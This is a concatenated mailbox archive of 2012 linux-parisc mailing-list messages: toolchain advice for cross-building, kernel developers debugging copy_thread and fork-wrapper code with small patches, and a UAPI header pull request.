More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: what's parisc execve_wrapper doing in the end?
Date: Fri, 5 Oct 2012 20:15:55 -0400
Lines: 69
Approved: news@gmane.org
Message-ID: <BLU0-SMTP295F5F9A4C15D2959F5B0D978A0@phx.gbl>
References: <20121004045150.GH23473@ZenIV.linux.org.uk> <1349343019.2706.3.camel@dabdike.int.hansenpartnership.com> <1349435268.3638.42.camel@dabdike.int.hansenpartnership.com> <1349444664.3638.46.camel@dabdike.int.hansenpartnership.com> <20121005144819.GO23473@ZenIV.linux.org.uk> <BLU0-SMTP36BD50597936314A689A99978B0@phx.gbl> <20121005233252.GD2616@ZenIV.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1349482598 5184 80.91.229.3 (6 Oct 2012 00:16:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 6 Oct 2012 00:16:38 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Al Viro <viro@ZenIV.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 06 02:16:42 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TKI4O-00072g-OZ
	for glpp-linux-parisc@plane.gmane.org; Sat, 06 Oct 2012 02:16:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752234Ab2JFAQe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Oct 2012 20:16:34 -0400
Original-Received: from [65.55.111.173] ([65.55.111.173]:36892 "EHLO
	blu0-omc4-s34.blu0.hotmail.com" rhost-flags-FAIL-FAIL-OK-FAIL)
	by vger.kernel.org with ESMTP id S1750865Ab2JFAQd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 5 Oct 2012 20:16:33 -0400
Original-Received: from BLU0-SMTP29 ([65.55.111.135]) by blu0-omc4-s34.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 5 Oct 2012 17:16:13 -0700
X-Originating-IP: [69.158.129.29]
X-EIP: [aBNOfbQujqEH0NWxbkmYo48a9oG9RjsC]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.129.29]) by BLU0-SMTP29.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 5 Oct 2012 17:16:11 -0700
In-Reply-To: <20121005233252.GD2616@ZenIV.linux.org.uk>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 06 Oct 2012 00:16:12.0235 (UTC) FILETIME=[CABB09B0:01CDA357]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4612
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4612>

On 5-Oct-12, at 7:32 PM, Al Viro wrote:

> On Fri, Oct 05, 2012 at 06:54:02PM -0400, John David Anglin wrote:
>> On 5-Oct-12, at 10:48 AM, Al Viro wrote:
>>
>>> What are you using for toolchain, BTW?  With gcc 4.3 / binutils 2.20
>>> (cross-builds) I'm getting panics from mainline kernel on parisc32  
>>> all
>>> way back to 2.6.28...
>>
>>
>> Current debian unstable tools are available in
>> shirka.esiee.fr:/home/dave/archives
>> and shirka.esiee.fr:/home/dave/archives-new.  It's pretty straight
>> forward to update
>> binutils, gcc, libc, etc.
>>
>> gcc 4.4, 4.5, 4.6 and 4.7 are available.  In particular, 4.6 and 4.7
>> have significant
>> bug fixes.
>>
>> James seems to have an account on shirka.
>>
>> I don't have any place to distribute the debs that are on shirka, or
>> the time to remove
>> obsolete builds.  Any volunteers?
>
> Hmm...  debian-ports would be a natural place, but TBH I'd very much  
> prefer
> to deal with cross-builds - doing kernel builds on a 100MHz 7100LC  
> with
> 96M of RAM is really not fun...
>

Right...

I had setup a buildd system system on lafayette.esiee.fr but  
unfortunately
a processor module died.  I also never received a response from debian- 
ports
(several emails) about restarting buildd for parisc.

I've continued to build packages on the rp3440 that I have at home.   
It doesn't have
much trouble keeping up with unstable.  At the same time, I use it for  
gcc testing
and development.

I would say you should be able to build cross tools using the binutils  
2.22 branch
and gcc 4.6 or 4.7.  They should work better than gcc 4.3 with  
binutils 2.20.

The reason I say that is I have built many debian packages with the  
current tools
and I have been slowly chipping away at the toolchain bugs that I have  
found.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: what's parisc execve_wrapper doing in the end?
Date: Mon, 08 Oct 2012 12:28:27 +0100
Lines: 135
Approved: news@gmane.org
Message-ID: <1349695707.2615.38.camel@dabdike.int.hansenpartnership.com>
References: <20121004045150.GH23473@ZenIV.linux.org.uk>
	 <1349343019.2706.3.camel@dabdike.int.hansenpartnership.com>
	 <1349435268.3638.42.camel@dabdike.int.hansenpartnership.com>
	 <1349444664.3638.46.camel@dabdike.int.hansenpartnership.com>
	 <20121005144819.GO23473@ZenIV.linux.org.uk>
	 <1349448936.3638.64.camel@dabdike.int.hansenpartnership.com>
	 <20121005230441.GB2616@ZenIV.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1349695712 16893 80.91.229.3 (8 Oct 2012 11:28:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Oct 2012 11:28:32 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Al Viro <viro@ZenIV.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 08 13:28:38 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TLBVl-00056N-Q3
	for glpp-linux-parisc@plane.gmane.org; Mon, 08 Oct 2012 13:28:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751516Ab2JHL2b (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Oct 2012 07:28:31 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:56223 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751354Ab2JHL2b (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Oct 2012 07:28:31 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 8F3A78EE0E6;
	Mon,  8 Oct 2012 04:28:30 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id mZZrevTQnbMi; Mon,  8 Oct 2012 04:28:30 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [46.65.52.191])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 7BFF38EE0E3;
	Mon,  8 Oct 2012 04:28:29 -0700 (PDT)
In-Reply-To: <20121005230441.GB2616@ZenIV.linux.org.uk>
X-Mailer: Evolution 3.4.4 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4613
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4613>

On Sat, 2012-10-06 at 00:04 +0100, Al Viro wrote:
> On Fri, Oct 05, 2012 at 03:55:36PM +0100, James Bottomley wrote:
> > On Fri, 2012-10-05 at 15:48 +0100, Al Viro wrote:
> > > On Fri, Oct 05, 2012 at 02:44:24PM +0100, James Bottomley wrote:
> > > > On Fri, 2012-10-05 at 12:07 +0100, James Bottomley wrote:
> > > > > I tried out the code at
> > > > > 
> > > > > git://git.kernel.org/pub/scm/linux/kernel/git/viro/signal.git
> > > > > experimental-kernel_thread
> > > > > 
> > > > > and it gives me this panic on boot.
> > > > 
> > > > OK, found the fix:  the idle thread is a kernel thread, but it doesn't
> > > > come through kernel_thread().  The fix is to check for it (fortunately
> > > > it has the signal usp == 0).
> > > 
> > > Um...  I see, but I really wonder if that's the right fix.  FWIW, sparc
> > > will have the same problem...  Hell knows.  OTOH, it's a nice way to
> > > get of implicit interplay between copy_thread() and idle_regs() - note
> > > that SMP architectures doing default idle_regs() need to be damn careful
> > > about what they do in their "is that kernel thread" logics; all-zeros
> > > pt_regs might give varying results on user_mode(regs) tests, etc.
> > > Might be better to go for
> > > 	if (p->flags & PF_KTHREAD) {
> > > 		if (!usp) {
> > > 			we are starting an idle thread
> > > 		} else {
> > > 			we are setting things up for kernel_thread()
> > > 		}
> > > 	} else {
> > > 		we are forking
> > > 	}
> > > kind of logics, looking at regs only in the last case.  And to hell with
> > > (separate and overridable) idle_regs() once everything goes that way...
> > 
> > But there's not a lot of point.  forking an idle thread actually doesn't
> > care about any of the register execution setup because it never really
> > uses it to execute.  That's why it was safe for us to use the user
> > thread setup ... I suppose the interior of the kernel thread case could
> > be conditioned on if (usp).
> 
> BTW, speaking of parisc copy_thread()...  Why the hell do we bother
> with *cregs = *pregs in userland case?  It's a part of task_struct,
> after all, and we have copied that wholesale in arch_dup_task_struct().
> 
> Another thing: why do we bother with
>         STREG   %r30,PT_GR21(%r1)
> in fork wrapper?  We bloody well know what the offset will be, after all -
> right in the beginning of that sucker we'd done
>         LDREG   TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30), %r1
> so we rely on %r30 having been (unsigned long)current_thread_info() + 
> THREAD_SZ_ALGN + FRAME_SIZE.  Then we add FRAME_SIZE again.  IOW, the
> offset is a known constant.  Hell, in child_return you rely on its
> value...   While we are at it, I'm not sure you need to go through
> wrapper_exit on the way out in parent - saving cr27 can be done via
> e.g. r28 instead of r3, at which point you can simply branch to
> sys_clone() with no work left for wrapper_exit.  *Child* obviously
> needs to restore these registers, so let it do that in child_return,
> but why bother in parent?  After all, we are talking about the callee-saved
> registers, so sys_clone() is going to revert whatever changes it makes
> to them...

It sounds plausible.  I'm checking your branch out now, modulo a couple
of compile failures:

arch/parisc/kernel/entry.S: Assembler messages:
arch/parisc/kernel/entry.S:1754: Error: Invalid operands 

arch/parisc/kernel/process.c: In function 'copy_thread':
arch/parisc/kernel/process.c:256: error: 'FRAME_SIZE' undeclared (first use in this function)
arch/parisc/kernel/process.c:256: error: (Each undeclared identifier is reported only once
arch/parisc/kernel/process.c:256: error: for each function it appears in.)
arch/parisc/kernel/process.c:258: error: expected ')' before '{' token
arch/parisc/kernel/process.c:297: error: expected expression before '}' token
arch/parisc/kernel/process.c:252: warning: unused variable 'child_return'
arch/parisc/kernel/process.c:251: warning: unused variable 'ret_from_kernel_thread'

Fix up below.

> BTW, TIF_SYSCALL_TRACE and singlestepping are turned off in child, so I don't
> see any need for child_return to know where the parent had come from - it
> won't have anything to do in tracesys_exit anyway.
> 
> I've folded your fixes and pushed the result; I've added (again, completely
> untested) optimizations along the lines of the above on top of those, as
> a separate commit.  Comments?

Even with the patch applied, it's hanging on boot around the first
kthread spawns.  I'm investigating.

James

---

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index f253f36..47fb6dd 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -1751,7 +1751,7 @@ ENTRY(sys_vfork_wrapper)
 	mfctl	%cr27, %r28
 	STREG	%r28, PT_CR27(%r1)
 
-	b	sys_vfork,%r2
+	b	sys_vfork
 	copy	%r1,%r26
 ENDPROC(sys_vfork_wrapper)
 
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index 47eba15..61113c3 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -52,6 +52,7 @@
 
 #include <asm/io.h>
 #include <asm/asm-offsets.h>
+#include <asm/assembly.h>
 #include <asm/pdc.h>
 #include <asm/pdc_chassis.h>
 #include <asm/pgalloc.h>
@@ -255,7 +256,7 @@ copy_thread(unsigned long clone_flags, unsigned long usp,
 #endif
 	cregs->ksp = (unsigned long)stack + THREAD_SZ_ALGN + FRAME_SIZE;
 
-	if (unlikely((p->flags & PF_KTHREAD)) {
+	if (unlikely(p->flags & PF_KTHREAD)) {
 		memset(cregs, 0, sizeof(struct pt_regs));
 		if (!usp) /* idle thread */
 			return 0;


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Howells <dhowells@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] Disintegrate UAPI for parisc [ver #2]
Date: Tue, 09 Oct 2012 10:15:45 +0100
Lines: 104
Approved: news@gmane.org
Message-ID: <21164.1349774145@warthog.procyon.org.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1349774255 15578 80.91.229.3 (9 Oct 2012 09:17:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Oct 2012 09:17:35 +0000 (UTC)
Cc: dhowells@redhat.com, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: jejb@parisc-linux.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 09 11:17:39 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1TLVwU-0004is-Kp
	for glk-linux-kernel-3@plane.gmane.org; Tue, 09 Oct 2012 11:17:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755090Ab2JIJQU (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 9 Oct 2012 05:16:20 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:16395 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754904Ab2JIJQM (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 9 Oct 2012 05:16:12 -0400
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q999Fm6S029858
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Tue, 9 Oct 2012 05:15:49 -0400
Original-Received: from warthog.procyon.org.uk (ovpn-113-58.phx2.redhat.com [10.3.113.58])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id q999Fkvo018631;
	Tue, 9 Oct 2012 05:15:46 -0400
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1372489 gmane.linux.ports.parisc:4614
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1372489>

Can you merge the following branch into the parisc tree please.

This is to complete part of the UAPI disintegration for which the preparatory
patches were pulled recently.

Now that the fixups and the asm-generic chunk have been merged, I've
regenerated the patches to get rid of those dependencies and to take account of
any changes made so far in the merge window.  If you have already pulled the
older version of the branch aimed at you, then please feel free to ignore this
request.

The following changes since commit 9e2d8656f5e8aa214e66b462680cf86b210b74a8:

  Merge branch 'akpm' (Andrew's patch-bomb) (2012-10-09 16:23:15 +0900)

are available in the git repository at:


  git://git.infradead.org/users/dhowells/linux-headers.git tags/disintegrate-parisc-20121009

for you to fetch changes up to 7869b46c99d8de719f7543d6ba432a7fcc3c78b3:

  UAPI: (Scripted) Disintegrate arch/parisc/include/asm (2012-10-09 09:47:22 +0100)

----------------------------------------------------------------
UAPI Disintegration 2012-10-09

----------------------------------------------------------------
David Howells (1):
      UAPI: (Scripted) Disintegrate arch/parisc/include/asm

 arch/parisc/include/asm/Kbuild                   |   2 -
 arch/parisc/include/asm/pdc.h                    | 423 +-----------
 arch/parisc/include/asm/ptrace.h                 |  46 +-
 arch/parisc/include/asm/signal.h                 | 113 +--
 arch/parisc/include/asm/termios.h                |  41 +-
 arch/parisc/include/asm/unistd.h                 | 835 +---------------------
 arch/parisc/include/uapi/asm/Kbuild              |  32 +
 arch/parisc/include/{ => uapi}/asm/auxvec.h      |   0
 arch/parisc/include/{ => uapi}/asm/bitsperlong.h |   0
 arch/parisc/include/{ => uapi}/asm/byteorder.h   |   0
 arch/parisc/include/{ => uapi}/asm/errno.h       |   0
 arch/parisc/include/{ => uapi}/asm/fcntl.h       |   0
 arch/parisc/include/{ => uapi}/asm/ioctl.h       |   0
 arch/parisc/include/{ => uapi}/asm/ioctls.h      |   0
 arch/parisc/include/{ => uapi}/asm/ipcbuf.h      |   0
 arch/parisc/include/{ => uapi}/asm/kvm_para.h    |   0
 arch/parisc/include/{ => uapi}/asm/mman.h        |   0
 arch/parisc/include/{ => uapi}/asm/msgbuf.h      |   0
 arch/parisc/include/{ => uapi}/asm/param.h       |   0
 arch/parisc/include/uapi/asm/pdc.h               | 427 ++++++++++++
 arch/parisc/include/{ => uapi}/asm/poll.h        |   0
 arch/parisc/include/{ => uapi}/asm/posix_types.h |   0
 arch/parisc/include/uapi/asm/ptrace.h            |  47 ++
 arch/parisc/include/{ => uapi}/asm/resource.h    |   0
 arch/parisc/include/{ => uapi}/asm/sembuf.h      |   0
 arch/parisc/include/{ => uapi}/asm/setup.h       |   0
 arch/parisc/include/{ => uapi}/asm/shmbuf.h      |   0
 arch/parisc/include/{ => uapi}/asm/sigcontext.h  |   0
 arch/parisc/include/{ => uapi}/asm/siginfo.h     |   0
 arch/parisc/include/uapi/asm/signal.h            | 118 ++++
 arch/parisc/include/{ => uapi}/asm/socket.h      |   0
 arch/parisc/include/{ => uapi}/asm/sockios.h     |   0
 arch/parisc/include/{ => uapi}/asm/stat.h        |   0
 arch/parisc/include/{ => uapi}/asm/statfs.h      |   0
 arch/parisc/include/{ => uapi}/asm/swab.h        |   0
 arch/parisc/include/{ => uapi}/asm/termbits.h    |   0
 arch/parisc/include/uapi/asm/termios.h           |  43 ++
 arch/parisc/include/{ => uapi}/asm/types.h       |   0
 arch/parisc/include/uapi/asm/unistd.h            | 837 +++++++++++++++++++++++
 39 files changed, 1511 insertions(+), 1453 deletions(-)
 rename arch/parisc/include/{ => uapi}/asm/auxvec.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/bitsperlong.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/byteorder.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/errno.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/fcntl.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/ioctl.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/ioctls.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/ipcbuf.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/kvm_para.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/mman.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/msgbuf.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/param.h (100%)
 create mode 100644 arch/parisc/include/uapi/asm/pdc.h
 rename arch/parisc/include/{ => uapi}/asm/poll.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/posix_types.h (100%)
 create mode 100644 arch/parisc/include/uapi/asm/ptrace.h
 rename arch/parisc/include/{ => uapi}/asm/resource.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/sembuf.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/setup.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/shmbuf.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/sigcontext.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/siginfo.h (100%)
 create mode 100644 arch/parisc/include/uapi/asm/signal.h
 rename arch/parisc/include/{ => uapi}/asm/socket.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/sockios.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/stat.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/statfs.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/swab.h (100%)
 rename arch/parisc/include/{ => uapi}/asm/termbits.h (100%)
 create mode 100644 arch/parisc/include/uapi/asm/termios.h
 rename arch/parisc/include/{ => uapi}/asm/types.h (100%)
 create mode 100644 arch/parisc/include/uapi/asm/unistd.h
.

From - Thu Nov 08 21:08:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: what's parisc execve_wrapper doing in the end?
Date: Tue, 09 Oct 2012 10:55:21 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <1349776521.2615.54.camel@dabdike.int.hansenpartnership.com>
References: <20121004045150.GH23473@ZenIV.linux.org.uk>
	 <1349343019.2706.3.camel@dabdike.int.hansenpartnership.com>
	 <1349435268.3638.42.camel@dabdike.int.hansenpartnership.com>
	 <1349444664.3638.46.camel@dabdike.int.hansenpartnership.com>
	 <20121005144819.GO23473@ZenIV.linux.org.uk>
	 <1349448936.3638.64.camel@dabdike.int.hansenpartnership.com>
	 <20121005230441.GB2616@ZenIV.linux.org.uk>
	 <1349695707.2615.38.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1349776526 3375 80.91.229.3 (9 Oct 2012 09:55:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Oct 2012 09:55:26 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Al Viro <viro@ZenIV.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 09 11:55:32 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TLWXD-0005FL-AO
	for glpp-linux-parisc@plane.gmane.org; Tue, 09 Oct 2012 11:55:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754944Ab2JIJzZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Oct 2012 05:55:25 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:58194 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754900Ab2JIJzY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Oct 2012 05:55:24 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 64EEE8EE0DC;
	Tue,  9 Oct 2012 02:55:24 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id XEvXr6p7_cAs; Tue,  9 Oct 2012 02:55:24 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [46.65.52.191])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 8B0848EE0CD;
	Tue,  9 Oct 2012 02:55:23 -0700 (PDT)
In-Reply-To: <1349695707.2615.38.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Evolution 3.4.4 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4615
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4615>

On Mon, 2012-10-08 at 12:28 +0100, James Bottomley wrote:
> Even with the patch applied, it's hanging on boot around the first
> kthread spawns.  I'm investigating.

Actually an obvious fix: you can't set up ksp and then zero the
registers.

I note that the stack frame you're creating is too big since
THREAD_SZ_ALGN includes space for a stack frame by design so adding
another one is redundant.  However, this confusion seems to permeate the
syscall code as well, so perhaps fixing it up later is better.

With this patch applied, I can now boot up successfully to a login
prompt.

James

---

diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index 61113c3..38db36f 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -254,8 +254,6 @@ copy_thread(unsigned long clone_flags, unsigned long usp,
 #ifdef CONFIG_HPUX
 	extern void * const hpux_child_return;
 #endif
-	cregs->ksp = (unsigned long)stack + THREAD_SZ_ALGN + FRAME_SIZE;

From - Thu Nov 08 21:08:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Viro <viro@ZenIV.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: what's parisc execve_wrapper doing in the end?
Date: Wed, 10 Oct 2012 05:26:21 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20121010042621.GA2616@ZenIV.linux.org.uk>
References: <20121004045150.GH23473@ZenIV.linux.org.uk>
 <1349343019.2706.3.camel@dabdike.int.hansenpartnership.com>
 <1349435268.3638.42.camel@dabdike.int.hansenpartnership.com>
 <1349444664.3638.46.camel@dabdike.int.hansenpartnership.com>
 <20121005144819.GO23473@ZenIV.linux.org.uk>
 <1349448936.3638.64.camel@dabdike.int.hansenpartnership.com>
 <20121005230441.GB2616@ZenIV.linux.org.uk>
 <1349695707.2615.38.camel@dabdike.int.hansenpartnership.com>
 <1349776521.2615.54.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1349843189 30117 80.91.229.3 (10 Oct 2012 04:26:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Oct 2012 04:26:29 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 10 06:26:35 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TLnsN-0006ag-Q7
	for glpp-linux-parisc@plane.gmane.org; Wed, 10 Oct 2012 06:26:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751048Ab2JJE0Z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Oct 2012 00:26:25 -0400
Original-Received: from zeniv.linux.org.uk ([195.92.253.2]:35604 "EHLO
	ZenIV.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751003Ab2JJE0Y (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Oct 2012 00:26:24 -0400
Original-Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux))
	id 1TLnsD-0003fY-RA; Wed, 10 Oct 2012 04:26:21 +0000
Content-Disposition: inline
In-Reply-To: <1349776521.2615.54.camel@dabdike.int.hansenpartnership.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
